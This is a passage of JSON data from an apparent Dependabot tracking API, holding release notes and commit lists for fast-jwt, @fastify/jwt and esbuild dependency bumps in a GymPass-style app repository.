href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v3.3.2...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@fastify/jwt` from 8.0.0 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify-jwt/releases\"\u003e\u003ccode\u003e@​fastify/jwt\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.0.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBreaking changes\u003c/h3\u003e\n\u003cp\u003ebuild(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/374\"\u003efastify/fastify-jwt#374\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/releases/tag/v6.0.0\u003c/a\u003e for details on how it might affect you.\u003c/p\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cp\u003echore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/379\"\u003efastify/fastify-jwt#379\u003c/a\u003e)\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003etest: migrate to node test runner by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/370\"\u003efastify/fastify-jwt#370\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/371\"\u003efastify/fastify-jwt#371\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: capture missingRequiredClaim errors and map to 401  by \u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Improve performance by caching verifier (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/360\"\u003efastify/fastify-jwt#360\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(package): add funding and contribs by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/357\"\u003efastify/fastify-jwt#357\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use optional chaining by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/359\"\u003efastify/fastify-jwt#359\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: prefix unused params with underscores by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/361\"\u003efastify/fastify-jwt#361\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(readme): spelling and grammar fixes by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/362\"\u003efastify/fastify-jwt#362\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump fastify/workflows from 5.0.0 to 5.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/349\"\u003efastify/fastify-jwt#349\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update readme to clarify fastify version compatibility by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/350\"\u003efastify/fastify-jwt#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​fastify/cookie\u003c/code\u003e from 10.0.1 to 11.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/351\"\u003efastify/fastify-jwt#351\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Async key provider and errors should be resolved internally -- dynamic JWTs in tests by \u003ca href=\"https://github.com/jmjf\"\u003e\u003ccode\u003e@​jmjf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/338\"\u003efastify/fastify-jwt#338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: remove trailing whitespace by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/352\"\u003efastify/fastify-jwt#352\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/3567a1756198819f8142a961136d403d242f5847\"\u003e\u003ccode\u003e3567a17\u003c/code\u003e\u003c/a\u003e Prepare to release 10.0.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/e7580622518dbf8366b4d8f4c81e6c1e0d41e6db\"\u003e\u003ccode\u003ee758062\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.16.0 to 24.0.10 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/380\"\u003e#380\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/870af5b1477e58ee91ed90b285d95ef7f94de70b\"\u003e\u003ccode\u003e870af5b\u003c/code\u003e\u003c/a\u003e chore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/379\"\u003e#379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/4cbf5a541e3919b9e8ced30ce764095620a6bd78\"\u003e\u003ccode\u003e4cbf5a5\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/375\"\u003e#375\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/89aad693226de097d2e53623678854caedc31cfe\"\u003e\u003ccode\u003e89aad69\u003c/code\u003e\u003c/a\u003e build(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/374\"\u003e#374\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/8932cc9c99aa212fb469f69f5979c5c733f0df1c\"\u003e\u003ccode\u003e8932cc9\u003c/code\u003e\u003c/a\u003e ci: restore job level permissions (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/373\"\u003e#373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/09b5810e6e93a7e119632ed276e460bdf39cda76\"\u003e\u003ccode\u003e09b5810\u003c/code\u003e\u003c/a\u003e ci: set permissions at workflow level (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/372\"\u003e#372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/0811cf5953d1052e1543c7c2c572035dca962c1b\"\u003e\u003ccode\u003e0811cf5\u003c/code\u003e\u003c/a\u003e Bumped v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/523e7521b9b90f91335d9e40c9dd89a0064bfb32\"\u003e\u003ccode\u003e523e752\u003c/code\u003e\u003c/a\u003e fix: capture missingRequiredClaim errors and map to 401  (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/369\"\u003e#369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/2afec0298f85e557c32ecd8c69d6242aeefd9937\"\u003e\u003ccode\u003e2afec02\u003c/code\u003e\u003c/a\u003e perf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/371\"\u003e#371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v8.0.0...v10.0.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~kibertoad\"\u003ekibertoad\u003c/a\u003e, a new releaser for \u003ccode\u003e@​fastify/jwt\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/DouglasPortoo%2FGymPass-style-app-SOLID-API/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"},{"uuid":"3961549235","node_id":"PR_kwDORTuQ7c7Ezp_U","number":1,"state":"closed","title":"chore(deps): bump the npm_and_yarn group across 2 directories with 4 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-03-05T08:53:58.000Z","author_association":null,"state_reason":null,"created_at":"2026-02-19T08:10:02.000Z","updated_at":"2026-03-05T08:54:00.000Z","time_to_close":1212236,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm_and_yarn","update_count":4,"packages":[{"name":"esbuild","old_version":"0.21.5","new_version":"0.27.3","repository_url":"https://github.com/evanw/esbuild"},{"name":"esbuild","old_version":"0.21.5","new_version":"0.27.3","repository_url":"https://github.com/evanw/esbuild"},{"name":"fastify","old_version":"4.29.1","new_version":"5.7.3","repository_url":"https://github.com/fastify/fastify"},{"name":"fast-jwt","old_version":"4.0.5","new_version":"6.1.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"fast-xml-parser","old_version":"5.3.4","new_version":"5.3.6","repository_url":"https://github.com/NaturalIntelligence/fast-xml-parser"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 1 update in the /frontend directory: [esbuild](https://github.com/evanw/esbuild).\nBumps the npm_and_yarn group with 4 updates in the /backend directory: [esbuild](https://github.com/evanw/esbuild), [fastify](https://github.com/fastify/fastify), [fast-jwt](https://github.com/nearform/fast-jwt) and [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser).\n\nUpdates `esbuild` from 0.21.5 to 0.27.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/evanw/esbuild/releases\"\u003eesbuild's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.27.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003ePreserve URL fragments in data URLs (\u003ca href=\"https://redirect.github.com/evanw/esbuild/issues/4370\"\u003e#4370\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eConsider the following HTML, CSS, and SVG:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eindex.html\u003c/code\u003e:\u003c/p\u003e\n\u003cpre lang=\"html\"\u003e\u003ccode\u003e\u0026lt;!DOCTYPE html\u0026gt;\n\u0026lt;html\u0026gt;\n  \u0026lt;head\u0026gt;\u0026lt;link rel=\u0026quot;stylesheet\u0026quot; href=\u0026quot;icons.css\u0026quot;\u0026gt;\u0026lt;/head\u0026gt;\n  \u0026lt;body\u0026gt;\u0026lt;div 